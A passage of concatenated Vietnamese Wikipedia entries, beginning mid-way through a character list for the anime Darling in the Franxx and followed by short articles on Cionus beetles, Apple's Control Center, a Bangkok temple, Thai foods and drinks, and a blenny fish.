cảm, nhưng sợ Zero Two sẽ ăn thịt nhân tính của Hiro, cô đã cố tách Zero Two khỏi Hiro. Cô thú nhận tình yêu của mình với cậu nhưng cậu từ chối cô và cô nhận ra tâm trí và trái tim cậu đã bị Zero Two quyến rũ đến mức không còn chỗ cho cô. Sau đó, cô nhận ra tầm quan trọng của hai người đối với nhau và chấp nhận mối quan hệ của họ. Sau khi được Goro hôn, cô ấy bắt đầu có mối quan hệ với anh. Mười năm sau, họ kết hôn và mong đợi đứa con đầu lòng. Phi công lái Argenta Argentea (アルジェンティア, Arujentia) là chiếc Franxx được điều khiển bởi Zorome và Miku. Là một Franxx chuyên cận chiến và tốc độ, nó được trang bị một loại vũ khí dạng móng vuốt có tên là "Night Claw". Code:666 (コード:666 , Kōdo:666) / Zorome (ゾロメ) Lồng tiếng bởi: Mutsumi Tamura Một chàng trai ồn ào, đáng ghét và có phần biến thái. Cậu ấy rất ngưỡng mộ người lớn và mong muốn một ngày nào đó sẽ trở thành một người như vậy. Cậu ta có thái độ coi thường những người "ưu tú" với những người tuổi teen và code có một chữ số. Cậu thường tranh cãi với đồng đội của mình, Miku, và đóng vai trò là người giải tỏa hài hước cho cả đội. Trong timeskip mười năm, anh và Miku trở thành giáo viên cho thế hệ mới. Code:390 (コード:390 , Kōdo:390) / Miku (ミク) Lồng tiếng bởi: Nanami Yamashita Một cô gái ồn ào, kiêu ngạo và bộc trực. Cô ấy là bạn thời thơ ấu của Kokoro và Miku thường xung đột với cộng sự của cô ấy, Zorome, nhưng lại rất quan tâm đến cậu ấy. Mặc dù thô lỗ nhưng cô có khía cạnh nhẹ nhàng hơn và đóng vai trò như một hệ thống hỗ trợ cho đồng đội của mình. Trong timeskip mười năm, cô và Zorome trở thành giáo viên cho thế hệ mới. Phi công của Genista Genista (ジェニスタ, Jenisuta) là chiếc Franxx hạng nặng ban đầu được điều khiển bởi Futoshi và Kokoro, cho đến khi Futoshi và Mitsuru chuyển đổi đối tác. Nó được bao phủ bởi áo giáp hạng nặng và được trang bị loại pháo lưỡi lê có tên là "Rook Sparrow", có thể gây sát thương lớn ở khoảng cách gần. Code:326 (コード:326 , Kōdo:326) / Mitsuru (ミツル) Lồng tiếng bởi: Aoi Ichikawa, Saori Hayami (thời thơ ấu) Một cậu bé trầm lặng nhưng hay giễu cợt đã ở bên Hiro, Ichigo và Goro từ khi còn nhỏ. Cậu ta đã trải qua một thủ tục đặc biệt, đầy rủi ro để tăng khả năng của mình với tư cách là một Parasite, nhưng trở nên chán nản khi biết rằng Hiro đã quên lời hứa lái chiếc Franxx cùng cậu mà không biết rằng ký ức của Hiro đã bị xóa. Sau khi phát hiện ra sự thật, cậu trở nên thân thiện hơn với Hiro và những người khác. Sau đó cậu nảy sinh tình cảm với Kokoro và họ bắt đầu một mối quan hệ lãng mạn. Họ kết hôn nhưng bị APE bắt giữ và ký ức của họ về nhau bị thay đổi. Mitsuru sau đó biết Kokoro đang mang thai đứa con của mình và cậu thừa nhận mình muốn cô giữ đứa bé, đến mức cậu từ bỏ vai trò Parasite để làm cha cho đứa con của họ và anh nói rằng cô và đứa trẻ là lý do để cậu sống. Họ hòa giải và trở thành một cặp một lần nữa. Con gái của họ, Ai, sau này được sinh ra. Trong timeskip mười năm, họ vẫn kết hôn hạnh phúc và có bốn đứa con. Code:556 (コード:556 , Kōdo:556) / Kokoro (ココロ) Lồng tiếng bởi: Saori Hayami Một cô gái hiền lành nhưng tốt bụng, thích chăm sóc nhà kính trong Lồng chim. Sau khi tìm thấy một cuốn sách dành cho trẻ em, cô say mê nó và khao khát có được một đứa con để để lại dấu ấn cho tương lai trước khi chết. Cô thân thiết với Mitsuru khi biết được nỗi đau khổ của cậu và quyết định trở thành cộng sự của cậu. Cô yêu anh và cuối cùng cả hai bắt đầu một mối quan hệ lãng mạn và kết hôn. Ký ức của họ về nhau đã bị APE xóa sau khi bị bắt trong đám cưới của họ. Kokoro sau đó phát hiện ra mình có thai và phải đối mặt với sự lựa chọn giữa việc phá thai hoặc giữ lại đứa bé và mất đi vị trí Parasite. Tuy nhiên, khi nghe Mitsuru nói rằng cậu muốn cô giữ lại đứa bé và xây dựng lại mối quan hệ, họ đã hòa giải và trở thành một cặp một lần nữa. Sau đó cô sinh ra một bé gái tên là Ai. Trong timeskip mười năm, họ vẫn kết hôn hạnh phúc và có bốn đứa con. Phi công lái Chlorophytum Chlorophytum (クロロフィッツ, Kurorofittsu) là một loại Franxx hỗ trợ cho các cuộc tấn công đường dài do Mitsuru và Ikuno điều khiển ban đầu, cho đến khi Futoshi và Mitsuru đổi đối tác. Cánh tay của nó được trang bị bộ tản nhiệt có tên là "Wing Span". Code:214 (コード:214 , Kōdo:214) / Futoshi (フトシ) Lồng tiếng bởi: Hiroki Gotō Một chàng trai bụ bẫm và tốt bụng, ăn uống liên tục và say mê đối tác của mình, Kokoro. Anh coi mình là người bảo vệ cô và mong muốn cô sẽ là đối tác phi công của anh mãi mãi. Tuy vậy, anh bị tổn thương nặng nề khi Kokoro quyết định trở thành đối tác của Mitsuru. Mặc dù ban đầu ghen tị với Mitsuru vì điều này, nhưng anh vẫn chấp nhận mối quan hệ của họ vì anh muốn thấy họ hạnh phúc và thậm chí anh còn đóng vai trò là linh mục trong đám cưới của họ. Trong timeskip mười năm, anh ấy trở thành một thợ làm bánh. Anh kết hôn và có hai đứa con và sắp có đứa con thứ ba. Code:196 (コード:196 , Kōdo:196) / Ikuno (イクノ) Lồng tiếng bởi: Shizuka Ishigami Một cô gái điềm tĩnh và sâu sắc. Cô là bạn thân nhất với Ichigo và yêu đơn phương cô ấy. Cô từng là đối tác của Mitsuru, người mà cô có mối quan hệ đối tác đầy biến động do họ không ưa nhau. Sau khi đồng bộ hóa của họ bị mất, cô ấy được ghép đôi với Futoshi. Sau đó, cô thú nhận tình cảm của mình với Ichigo nhưng thừa nhận cô cảm thấy xấu hổ như thế nào khi bị thu hút bởi phụ nữ (ngụ nhận cô là đồng tính nữ) và Ichigo đã an ủi cô. Sau khi VIRM xâm lược hành tinh, Ikuno đã sử dụng sức mạnh của mình quá mức và điều này gây tổn hại vĩnh viễn đến sức khỏe của cô, bao gồm cả việc khiến tóc cô bạc trắng. Trong những tập cuối, cô làm bác sĩ và phát triển một phương pháp chữa trị quá trình lão hóa nhanh chóng của Parasite, cho phép chúng phát triển bình thường thành người trưởng thành nhưng phải nằm liệt giường và ốm yếu do cô giữ nguyên quá trình lão hóa nhanh chóng của mình. APE APE là tổ chức cai trị các Plantation, pháo đài cuối cùng của nhân loại. Bảy nhà hiền triết của APE được nhân loại tôn sùng như những vị thần. Nana (ナナ) Lồng tiếng bởi: Marina Inoue Người quản lý Parasite của trụ sở chiến đấu APE. Cô ấy phụ trách các Parasite ở Mistilteinn và đóng vai trò như một người mẹ thay thế cho chúng, vì cô ấy đã chăm sóc chúng từ khi còn nhỏ. Tuy nhiên, cô nghiêm khắc với chúng và có khả năng đưa ra những quyết định khó khăn về chúng. Trong quá khứ, cô từng có mối quan hệ với đối tác của mình nhưng ký ức của cô đã bị xóa do cô tuyệt vọng sau cái chết của anh ta. Cô bị gạt sang một bên khi trải qua tuổi dậy thì bị kìm nén nhưng được đưa trở lại để chăm sóc những đứa trẻ sau cái chết của tiến sĩ Franxx. Hachi (ハチ) Lồng tiếng bởi: Katsuyuki Konishi Chỉ huy hoạt động phòng thủ của trụ sở chiến đấu APE, người giám sát Đội 13 cùng với Nana. Anh ta khắc kỷ và thẳng thắn với những kẻ ăn bám, đồng thời thực hiện nhiệm vụ của mình một cách nghiêm túc. Tuy nhiên, anh thực sự quan tâm đến những Parasite và giúp chăm sóc chúng. Trong quá khứ, anh là thành viên cùng đội với Nana và dường như có tình cảm với cô dù không có cảm xúc. Tiến sĩ Franxx (フランクス博士, Furankusu Hakase ) / Werner Frank (ヴェルナー・フランク, Verunā Furanku) Lồng tiếng bởi: Kenyuu Horiuchi Tên thật Werner Frank. Ông ta là một nhà khoa học người máy, người đã phát triển các đơn vị Franxx. Ông cũng được ghi nhận vì đã tạo ra các Parasite thông qua nghiên cứu nhân bản của mình. Trong quá khứ, ông ta nổi tiếng với những thí nghiệm phi đạo đức về nhân bản nhưng điều đó đã giúp ông có được mối quan hệ hợp tác với APE. Mặc dù say mê vẻ đẹp tác phẩm của mình nhưng ông ta lại tò mò về phong tục tập quán của nền văn minh trước đây nên đã vội vàng sắp xếp Biệt đội 13 làm đơn vị thử nghiệm cho mục đích đó. Ông ta tạo ra Zero Two và bắt cô phải làm những thí nghiệm tra tấn. Ông rất quan tâm đến Kyoryū và tin rằng sự hợp tác của Hiro và Zero Two có vai trò quan trọng trong việc đánh bại chúng. Ông ta bị giết trong trận chiến giữa Kyoryū và VIRM nhưng không phải trước khi hòa giải với Zero Two trong tập 21. Papa (パパ) Lồng tiếng bởi: Nobuo Tobita Chủ tịch APE. Ông là thủ lĩnh của Bảy hiền triết và được nhân loại coi như một vị thần. Toàn bộ nhân loại đều trung thành và vâng lời ông ta, nhưng lại sợ ông vì hậu quả nghiêm trọng nếu bất kỳ quy tắc nào của APE bị phá vỡ. Ông ta giám sát sự phát triển và hành động của tất cả các Parasite, và mọi quyết định liên quan đến sức khỏe và sự giáo dục của chúng đều do ông ta quyết định. Sau này ông là thủ lĩnh của một chủng tộc ngoài hành tinh được gọi là VIRM, chủng tộc này đã xâm chiếm Trái đất từ ​​nhiều thời đại trước. Để lật đổ Công chúa Kyoryū và tiêu diệt lũ Parasite, ông ta cử VIRM đến cố gắng tiêu diệt chúng và hấp thụ linh hồn của chúng. Papa còn đi xa hơn khi yêu cầu những thành viên còn sống sót của nhân loại hợp nhất với VIRM để loại bỏ sự phân biệt đối xử và hận thù hơn nữa, nhưng mọi người đều từ chối điều này. Ông ta dường như bị tiêu diệt khi Strelizia True Apus tiêu diệt hạm đội của VIRM gần Sao Hỏa, nhưng quay trở lại trong tập cuối gần hành tinh quê hương của VIRM, sử dụng sức mạnh của mình để phá vỡ mối liên hệ của Hiro với Zero Two. VIRM thua trận và hành tinh của họ bị phá hủy, giải phóng những linh hồn đã đồng hóa với VIRM trong suốt thời gian để trở về cơ thể của họ. Tuy nhiên, Papa và Phó Chủ tịch vẫn sống sót và thề rằng một ngày nào đó VIRM sẽ trở lại ở đỉnh cao của quá trình tiến hóa. Phó Chủ tịch Lồng tiếng bởi: Mitsuo Yokoi Phó chủ tịch APE và phó chỉ huy của Bảy hiền triết, bên cạnh Papa. Ông ấy được tiết lộ là một người ngoài hành tinh tên là VIRM giống như Papa. 007 / Nana (Mới được bổ nhiệm) (新ナナ, Shin Nana, New Nana) Lồng tiếng bởi: Shizuka Ito Một người phụ nữ được bổ nhiệm giám sát Đội 13 sau khi Nana nguyên bản bị gạt sang một bên. Không giống như Nana ban đầu, cô không thể hiện bất kỳ mối quan tâm hay lòng trắc ẩn nào đối với Parasite. Sau đó, cô đảm nhận vai trò người chăm sóc cùng với Hachi và Nana nguyên bản trong việc hỗ trợ xã hội mới được xây dựng bởi các Parasite còn sống sót. Ngũ Thánh Năm chỉ huy tối cao của tổ chức thống trị loài người, APE. Họ mặc quần áo màu trắng và đeo mặt nạ kim loại, được dẫn đầu bởi một người tên là "Papa" (パパ). Năm chỉ huy: Marmoset Baboon Gorilla Lemur Tarsier Nines Nines là một lực lượng phòng thủ và đặc biệt trực thuộc đơn vị cũ của APE và Zero Two, ban đầu xuất hiện do nỗ lực tạo ra các cặp chức năng từ DNA của cô. Trong các cặp của họ, nhụy hoa và nhị hoa thay đổi vị trí, cùng với "giới tính" của họ, họ có nghĩa là thay thế cho các mối quan hệ dị tính truyền thống ở các cặp khác. Về vấn đề này, tất cả các thành viên trong đội đều có vẻ ngoài ái nam ái nữ và về cơ bản tránh bất kỳ vai trò giới tính nào trong hành vi của họ. 9'α (ナインアルファ, Nain Arufa , Nine Alpha) Lồng tiếng bởi: Souma Saitō Thủ lĩnh tự ái và tinh quái của Nines. Anh ấy thường mỉm cười nhưng lại trung thực đến mức tàn nhẫn và thiếu sự đồng cảm với người khác ngoài đơn vị của mình. Anh quan tâm đến Hiro vì là đối tác duy nhất sống sót khi cưỡi cùng Zero Two. Anh cũng quan tâm đến Ichigo vì niềm kiêu hãnh và phẩm giá của cô ấy. Anh tin rằng con người không cần giới tính hay cảm xúc, và nhận thấy việc sinh sản là một điều kinh tởm. Anh ta trung thành mãnh liệt với Papa và coi thường Biệt đội 13, đến mức gây rắc rối cho họ, làm gián đoạn hạnh phúc của họ và hình thành rạn nứt với Zero Two. Khi Papa tiết lộ danh tính thực sự của mình và phản bội mọi người bằng cách cố gắng giết họ, Alpha bị ốm do "thiếu bảo dưỡng" và bắt đầu nghi ngờ ý định của Papa. Anh quyết định hỗ trợ Biệt đội 13 trong trận chiến cuối cùng chống lại VIRM và hy sinh bản thân để cứu Hiro, người mà anh ghi công vì đã dạy anh ý nghĩa của việc trở thành con người. 9'β (ナインベータ, Nain Bēta , Nine Beta) Lồng tiếng bởi: Toshiki Masuda Một nhị hoa phục vụ ở Nines. Anh ta chết trong trận chiến thiên hà với VIRM ở tập 23. 9'γ (ナインガンマ, Nain Ganma , Nine Gamma) Lồng tiếng bởi: Takuya Eguchi Một nhị hoa phục vụ ở Nines. Anh ta chết trong trận chiến thiên hà chống lại VIRM ở tập 23. 9'δ (ナインデルタ, Nain Deruta , Nine Delta) Lồng tiếng bởi: Ayane Sakura Một nhụy hoa phục vụ ở Nines. Cô là cô gái duy nhất trong biệt đội tham gia vào câu chuyện bên cạnh các chàng trai. Cô và cộng sự của mình, Epsilon, bị VIRM giết trong tập 21. 9'ε (ナインイプシロン, Nain Ipushiron , Nine Epsilon) Lồng tiếng bởi: Atsushi Tamaru Một nhị hoa phục vụ ở Nines. Anh và Delta bị VIRM giết trong tập 21. 9'ζ (ナインゼータ, Nain Zēta , Nine Zeta) Một nhụy hoa phục vụ ở Nines. Cô ấy là cộng sự của Alpha. Cô chết vì không được bảo dưỡng sau trận chiến ở tập 21. 9'η (ナインエータ, Nain Ēta , Nine Eta) Một nhụy hoa phục vụ ở Nines. Cô ấy là cộng sự của Beta. Cô ấy chết trong tập 23. 9'θ (ナインテータ, Nain Tēta , Nine Theta) Một nhụy hoa phục vụ ở Nines. Cô ấy là cộng sự của Gamma. Cô ấy chết trong tập 23. Các nhân vật khác Code:703 (コード:703 , Kōdo:703 ) / Naomi (ナオミ) Lồng tiếng bởi: Ami Koshimizu Đối tác cũ của Hiro, người đã phải nhập viện sau một cuộc tấn công của Kyoryū khiến cô bị mất một cánh tay. Sau khi tan rã khỏi Hiro, cô được cho là đã biến mất. Trong tập 22, tiết lộ rằng cô ấy đã được giữ trong trạng thái đông lạnh cùng với những đứa trẻ khác được cho là không thích hợp để làm phi công, được chăm sóc bởi Tiến sĩ Franxx. Sau đó cô ấy được thả và chăm sóc Ikuno già đi ở cuối bộ phim. Code:081 (コード:081 , Kōdo:081) Lồng tiếng bởi: Takanori Hoshino Đối tác cũ của Zero Two bị giết trong một cuộc tấn công của Kyoryū. Code:090 (コード:090 , Kōdo:090) Lồng tiếng bởi: Makoto Furukawa Đội trưởng của Plantation 26. Anh ta đã mất đồng đội cũ của mình hai năm trước vì sự bình tĩnh chiến đấu kém của Zero Two. Vì điều này, anh có mối hận thù sâu sắc với Zero Two. Anh ta và đội của mình chết trong một cuộc tấn công liều chết nhằm ngăn chặn một con Kyoryū lớp Lehmann đã phá hủy Plantation của họ. Người Phụ Nữ (オトナ 女性, Otona Josei) Lồng tiếng bởi: Kikuko Inoue Người phụ nữ đã cứu và chăm sóc Zorome sau khi cậu bị lạc trong thành phố. Cậu cảm nhận được sự quen thuộc với cô nhưng bản chất chính xác của mối quan hệ của họ vẫn chưa được biết. Dựa trên màu mắt giống hệt nhau của họ và cách cư xử của cô đối với cậu ấy, người ta suy đoán rằng cô có quan hệ sinh học với cậu ta. Karina Milsa (カリナ・ミルザ, Karina Miruza) Lồng tiếng bởi: Yuuko Kaida Một nhà khoa học khám phá ra cách tái tạo telomere (được các nhà khoa học hiện đại cho là nguyên nhân gây lão hóa). Cô là vị hôn thê trước đây của Tiến sĩ Franxx và rất ngưỡng mộ ông ta. Cô đã tham gia vào nghiên cứu của ông về Franxx và sự bất tử. Cô qua đời trong một vụ tai nạn vào năm 2042 khi đang thử nghiệm nguyên mẫu Franxx lần đầu tiên và các quy trình sinh sản. Ai (アイ) Lồng tiếng bởi: Saya Hirose Con gái của Kokoro và Mitsuru. Cô là đứa trẻ tự nhiên đầu tiên được sinh ra từ Parasite. Cô bé là một đứa trẻ vui vẻ và sớm phát triển, được bố mẹ rất yêu quý. Code:001 (コード:001, Kōdo:001) Lồng tiếng bởi: Rie Kugimiya Công chúa của tộc Kyoryū và là người cuối cùng của tộc Kyoryū Sapien. Nhiều kiếp trước, người dân của cô đã từ chối đàm phán hòa bình với VIRM để đầu hàng linh hồn của họ, dẫn đến một cuộc chiến giữa các thiên hà và sự tuyệt chủng. Họ ẩn náu dưới lòng đất để chuẩn bị cho trận chiến cuối cùng chống lại VIRM, cho đến khi nhân loại phát hiện ra năng lượng magma và bắt đầu khai quật nó, khiến cô và các Kyoryū xâm chiếm Plantation. Cô là người đã xé nát cánh tay của Tiến sĩ Franxx khi ông được APE cử đến gặp cô. Trong trận chiến cuối cùng giữa Kyoryū và loài người, Công chúa Kyoryū buộc phải liên kết với Hiro và đánh cắp Strelitzia để sử dụng, trước sự thất vọng của Zero Two. Sau khi mắc vào cái bẫy chết người do Papa giăng ra, cô chuyển năng lượng còn lại của mình cho Hiro và Zero Two để ngăn chặn VIRM và mang lại hòa bình cho Trái đất, quyết định đặt niềm tin vào nhân loại để cứu Trái đất khỏi VIRM.
19852736
https://vi.wikipedia.org/wiki/Cionus%20luctuosus
Cionus luctuosus
Cionus luctuosus là loài côn trùng thuộc nhóm bọ cánh cứng. Loài này được Karl Henrik Boheman mô tả lần đầu tiên vào năm 1845. Tham khảo Cionus
19852737
https://vi.wikipedia.org/wiki/Cionus%20maculithorax
Cionus maculithorax
Cionus maculithorax là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Voss mô tả lần đầu tiên vào năm 1960. Tham khảo Cionus
19852741
https://vi.wikipedia.org/wiki/Trung%20t%C3%A2m%20%C4%91i%E1%BB%81u%20khi%E1%BB%83n%20%28Apple%29
Trung tâm điều khiển (Apple)
Trung tâm Điều khiển, hoặc Control Center (Control Centre theo cách gọi của tiếng Anh Anh, Úc và Canada) là một tính năng có mặt trên các hệ điều hành iOS, iPadOS và macOS của Apple Inc. Nó được giới thiệu lần đầu tiên trong iOS 7, ra mắt vào ngày 18 tháng 9 năm 2013. Trong iOS 7, nó thay thế các trang điều khiển được tìm thấy trong các phiên bản trước. Trung tâm Điều khiển cho phép thiết bị iOS và iPadOS truy cập trực tiếp vào các cài đặt quan trọng của thiết bị bằng cách vuốt xuống từ góc trên bên phải trên iPhone X trở lên và tất cả các mẫu iPad bắt đầu từ iOS 12 hoặc iPadOS, với các mẫu trước đó sử dụng thao tác vuốt từ dưới màn hình lên. Nó có chức năng tương tự như tinh chỉnh SBSettings dành cho jailbreak iOS. Trung tâm Điều khiển cũng được thêm vào máy Mac trong macOS 11 Big Sur, ra mắt vào ngày 12 tháng 11 năm 2020. Sử dụng Trung tâm Điều khiển cho phép người dùng iOS truy cập nhanh vào các thao tác và ứng dụng thường dùng. Chỉ cần vuốt lên từ bất kỳ màn hình nào - bao gồm cả Màn hình Khóa (nếu bật tùy chọn truy cập từ Màn hình Khóa), người dùng có thể thực hiện các hành động như: Bật/tắt Chế độ máy bay, Wi-Fi; Điều chỉnh độ sáng màn hình; Thực hiện các chức năng cơ bản khác của thiết bị. Từ iOS 7 trở đi, Trung tâm Điều khiển cũng tích hợp chức năng đèn pin sử dụng đèn LED của camera sau. Tính năng này chỉ có trên iPhone, iPod Touch và iPad Pro. Bắt đầu từ iOS 9.3, công tắc Chuyển đêm (Night Shift) được thêm vào Trung tâm Điều khiển trên tất cả các mẫu iPhone, iPod Touch và iPad có chip Apple A7 trở lên. Ngoài ra, Trung tâm Điều khiển còn cung cấp các chức năng khác như: Bật/tắt Bluetooth và Không làm phiền, Khóa xoay màn hình, Phát, tạm dừng hoặc chuyển bài hát, xem nhạc đang phát, Kết nối với thiết bị hỗ trợ AirPlay, Truy cập nhanh ứng dụng đồng hồ, máy tính và camera, Sử dụng AirDrop, trước đây chỉ có trên Mac, để chuyển tệp giữa các thiết bị Apple từ iOS 7 trở đi (trên iPhone, iPad và iPod Touch dùng cổng Lightning) Thiết kế Từ iOS 7 đến iOS 9: Trung tâm Điều khiển có dạng thanh trượt lên một trang với nền mờ. Thiết kế cơ bản không thay đổi nhiều. iPhone 4, iPad 2 và 3 không có nền mờ do tốn tài nguyên, thay vào đó là nền xám hơi trong suốt. iOS 10: Thay đổi sang thiết kế dạng thẻ nền trắng. Chia thành 3 thẻ riêng biệt: Điều khiển chính, Media, HomeKit. Chuyển giữa các thẻ bằng cách vuốt ngang. iOS 11: Thiết kế lại hoàn toàn, hợp nhất các thẻ thành một. Hỗ trợ tùy chỉnh qua ứng dụng Cài đặt. Thêm nhiều tùy chọn hơn như dữ liệu di động, Chế độ năng lượng thấp, ghi chú nhanh. Cho phép sử dụng 3D Touch (hoặc nhấn giữ trên thiết bị không hỗ trợ 3D Touch) để xem thêm tùy chọn. Sử dụng thanh trượt dọc để điều chỉnh âm lượng và độ sáng. iOS 12: Thêm tính năng mới cho Không làm phiền: chạm 3D/giữ lâu để chọn thời gian kích hoạt. iOS 14 & iPadOS 14: Bổ sung theo dõi giấc ngủ, nhận dạng âm thanh, nút Shazam. iOS 15 & iPadOS 15: Tùy chọn Tập trung mới và điều chỉnh độ sáng bàn phím. iOS 16 & iPadOS 16: Tính năng nhận dạng âm thanh Shazam tích hợp lịch sử với ứng dụng Shazam chính. Đón nhận Trung tâm điều khiển nhìn chung nhận được đánh giá tích cực. Tuy nhiên, việc người dùng phải truy cập ứng dụng Cài đặt để thay đổi hầu hết các tùy chọn đã khiến Darrell Etherington của TechCrunch cho rằng "tách Trung tâm điều khiển khỏi chức năng đó và cho phép truy cập từ bất kỳ giao diện người dùng iOS nào bằng cách vuốt lên từ dưới cùng thực sự là một cải tiến lớn." Bản cập nhật iOS 11 bị chỉ trích vì thay đổi cách hoạt động của nút Wi-Fi và Bluetooth; chính xác hơn, các công tắc này sẽ ngắt kết nối thiết bị khỏi Wi-Fi hoặc Bluetooth, trong khi vẫn bật radio. Tổ chức Electronic Frontier Foundation tuyên bố rằng sự thay đổi này không chỉ ảnh hưởng đến thời lượng pin mà còn ảnh hưởng đến bảo mật, mô tả các nút chuyển Wi-Fi và Bluetooth sang chế độ "tắt một nửa" (bị mờ đi, nhưng không bị tắt ngang như thể bật tắt trực tiếp từ ứng dụng Cài đặt), và đồng thời chỉ trích thêm việc kết nối sẽ tự động tiếp tục vào lúc năm giờ sáng mỗi ngày. Tham khảo Liên kết ngoài Control Center trên Apple IOS software MacOS software Phần mềm cho iOS Phần mềm cho macOS
19852747
https://vi.wikipedia.org/wiki/Wat%20Phichai%20Yat
Wat Phichai Yat
Wat Phichaya Yatikaram Worawihan, còn gọi là Wat Phichai Yat () là một chùa Phật giáo Thái ở Băng Cốc, được xem là một trong những ngôi chùa đẹp và nổi bật nhất ở Băng Cốc và phía Thonburi. Ngôi chùa nằm dọc theo bờ Khlong Somdet Chao Phraya ở Khlong San gần Wongwian Lek hiện tại. Wat Phichai Yat đã được đăng ký di tích cổ quốc gia bởi Cục Mỹ thuật vào năm 1949. Hình ảnh Tham khảo Quận Khlong San Chùa ở Bangkok Di tích cổ đã được đăng ký ở Bangkok
19852757
https://vi.wikipedia.org/wiki/Nom%20yen
Nom yen
Nom yen (, ) là một thức uống Thái làm từ siro salak và sữa lạnh. Trong tiếng Thái, nom có nghĩa là 'sữa' và yen nghĩa là 'lạnh'. Có hai loại sữa dùng để làm nom yen. Nom sot là sữa tươi, nom khon là sữa đặc, và nom khon wan là sữa đặc có đường. Có hai cách phục vụ nom yen: đá và ướp lạnh. Đây là đồ uống có thể tìm thấy mọi nơi tại Thái Lan từ các gian hàng trên đường phố. Giá dao động từ 15 THB (baht Thái) đến 25 THB hoặc từ 30 đến 60 THB tại một số cửa hàng cà phê. Người Thái cũng làm đồ ngọt từ nom yen. Một phong cách khác của nom yen có thể tìm thấy tại các cửa hàng đồ ngọt. Nó gọi là namkhaeng sai hoặc nom yen đá bào kiểu Thái. Nguyên liệu sẽ tương tự như nom yen, ngoại trừ đông đá chúng. Không giống nom yen, người Thái thường cân nhắc namkhaeng sai như một món ngọt tự làm bởi vì nó dễ và nguyên liệu có thể tìm thấy tại các khu vực địa phương. Tham khảo Thức uống Thái
19852762
https://vi.wikipedia.org/wiki/Mu%20kratha
Mu kratha
Mu kratha (, , ) là một loại hình nấu ăn Đông Nam Á, bắt nguồn từ Thái Lan. Tại Philippines, Singapore và Malaysia, nó còn được gọi là mookata. Tại Lào, nó được gọi là sindad (). Lịch sử Mu kratha nghĩa là 'thịt lợn áp chảo' trong tiếng Thái (mu là 'lợn' hoặc 'thịt lợn' và kratha là 'chảo' hoặc 'chảo rán'). Mu kratha giống như thịt nướng Hàn Quốc và lẩu Nhật Bản hoặc Trung Quốc. Phiên bản Thái người ta sử dụng than củi. Khái niệm ăn uống này lan khắp Thái Lan đến Lào, Philippines, Malaysia, Indonesia và Singapore. Chuẩn bị và phục vụ Thịt lát (hầu hết là thịt lợn) được nướng trên vỉ nướng hình vòm trung tâm, xung quanh nó là rau và các nguyên liệu khác như cá viên, nấu trong súp (còn được gọi là Lẩu Thái). Nồi lẩu được đặt trên than bùng lửa dùng để nướng hoặc để nấu đồ ăn. Những thực phẩm tốt nhất dùng để nấu theo phương thức này gồm thịt heo, gà, thịt cừu, bê, hải sản, rau, và nấm. Mu kratha truyền thống địa phương Thái thường sử dụng chung với nam chim suki, một loại sốt nổi tiếng. Nó nổi tiếng với việc sử dụng tương ớt làm nguyên liệu chính. Một vài nhà hàng phục vụ nam chim hải sản ăn kèm với hải sản. Khi nấu mu kratha, người ta thường nướng một lớp mỡ trên vỉ nướng để tránh đồ ăn dính trên mâm. Đời sống văn hóa Thái Lan có rất nhiều nhà hàng mu kratha vì nó rất dễ chuẩn bị và phù hợp với nhiều loại đồ ăn. Xem thêm Barbecue Nướng hun khói Ẩm thực Thái Lan Tham khảo Ẩm thực Thái Lan Món lợn Thịt nướng hun khói Món ăn quốc gia
19852766
https://vi.wikipedia.org/wiki/C%C3%A1%20m%C3%A0o%20g%C3%A0%20v%E1%BB%87n
Cá mào gà vện
Cá mào gà vện (danh pháp: Salarias fasciatus) là một loài cá biển thuộc chi Salarias trong họ Cá mào gà. Loài này được mô tả lần đầu tiên vào năm 1786. Từ nguyên Tính từ định danh fasciatus trong tiếng Latinh có nghĩa là “có sọc”, hàm ý đề cập đến các dải sọc màu sẫm trên thân và vây lưng của loài cá này. Phân bố và môi trường sống Cá mào gà vện có phân bố rộng khắp khu vực Ấn Độ Dương - Thái Bình Dương, từ Biển Đỏ dọc theo Đông Phi trải dài về phía đông đến quần đảo Samoa và quần đảo Marshall, ngược lên phía bắc đến quần đảo Ryukyu, phía nam đến Úc. Ở Việt Nam, cá mào gà vện được ghi nhận tại hòn Mê (Thanh Hóa), phá Tam Giang – đầm Cầu Hai, cù lao Chàm, vịnh Nha Trang, bờ biển Ninh Hải (Ninh Thuận), cù lao Câu (Bình Thuận), cùng quần đảo Hoàng Sa và quần đảo Trường Sa. Cá mào gà vện xuất hiện ở đới mặt bằng rạn, trong đầm phá nông và trên các rạn san hô ngoài khơi đến độ sâu ít nhất là 8 m, nhưng cũng có thể tìm thấy chúng ở khu vực cửa sông giàu tảo. Mô tả Chiều dài lớn nhất được ghi nhận ở cá mào gà vện là 14 cm. Loài này có nhiều biến dị kiểu hình, nhưng thường thấy nhất là màu vàng lục đến nâu vàng với các vạch đen dọc hai bên lườn cùng nhiều vệt đốm trắng (nhiều đốm thân dưới lớm hơn mắt). Nhiều chấm xanh óng ở phía sau của thân trên. Gai hậu môn của con đực thon dài hơn con cái, nhưng không thấy biểu hiện dị hình giới tính rõ ràng nào khác, cho thấy S. fasciatus biểu hiện mức độ dị hình giới tính thấp. Số gai vây lưng: 12; Số tia vây lưng: 18–20; Số gai vây hậu môn: 2; Số tia vây hậu môn: 19–21; Số tia vây ngực: 14; Số gai vây bụng: 1; Số tia vây bụng: 3. Sinh thái Thức ăn của cá mào gà vện là tảo. Trứng của chúng có chất kết dính, được gắn vào chất nền thông qua một tấm đế dính dạng sợi. Cá bột là dạng phiêu sinh vật, thường được tìm thấy ở vùng nước nông ven bờ. Ở đảo Okinawa, mùa sinh sản của cá mào gà vện kéo dài từ tháng 3 đến tháng 7, đạt đỉnh điểm là từ tháng 4 đến tháng 6. Thương mại Cá mào gà vện cũng được bán như cá cảnh. Tham khảo F Cá Ấn Độ Dương Cá Thái Bình Dương Cá biển Đỏ Cá Ả Rập Cá Ai Cập Cá Sudan Cá Seychelles Cá Maldives Cá Thái Lan Cá Việt Nam Cá New Guinea Cá Philippines Cá Nhật Bản Cá Fiji Động vật được mô tả năm 1786
19852768
https://vi.wikipedia.org/wiki/Cionus%20marginatus
Cionus marginatus
Cionus marginatus là loài côn trùng thuộc nhóm Bọ cánh cứng. Loài này được Germar, E.F. mô tả lần đầu tiên vào năm 1818. Tham khảo Cionus
19852769
https://vi.wikipedia.org/wiki/%C4%90%E1%BA%A1i%20h%E1%BB%8Dc%20Ti%E1%BB%83u%20bang%20Texas
Đại học Tiểu bang Texas
